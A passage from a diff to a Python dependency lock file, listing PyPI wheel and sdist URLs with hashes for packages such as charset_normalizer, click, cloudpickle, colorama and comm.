"https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" }, + { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" }, + { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" }, + { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" }, + { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" }, + { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" }, + { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" }, + { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" }, + { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" }, + { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" }, + { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" }, + { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" }, +] + +[[package]] +name = "click" +version = "8.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "python_full_version < '3.14' and sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" }, +] + +[[package]] +name = "cloudpickle" +version = "3.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/27/fb/576f067976d320f5f0114a8d9fa1215425441bb35627b1993e5afd8111e5/cloudpickle-3.1.2.tar.gz", hash = "sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414", size = 22330, upload-time = "2025-11-03T09:25:26.604Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/88/39/799be3f2f0f38cc727ee3b4f1445fe6d5e4133064ec2e4115069418a5bb6/cloudpickle-3.1.2-py3-none-any.whl", hash = "sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a", size = 22228, upload-time = "2025-11-03T09:25:25.534Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "comm" +version = "0.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4c/13/7d740c5849255756bc17888787313b61fd38a0a8304fc4f073dfc46122aa/comm-0.2.3.tar.gz", hash = "sha256:2dc8048c10962d55d7ad693be1e7045d891b7ce8d999c97963a5e3e99c055971", size = 6319, upload-time = "2025-07-25T14:02:04.452Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/60/97/891a0971e1e4a8c5d2b20bbe0e524dc04548d2307fee33cdeba148fd4fc7/comm-0.2.3-py3-none-any.whl", hash = "sha256:c615d91d75f7f04f095b30d1c1711babd43bdc6419c1be9886a85f2f4e489417", size = 7294, upload-time = "2025-07-25T14:02:02.896Z" }, +] + +[[package]] +name = "coverage" +version = 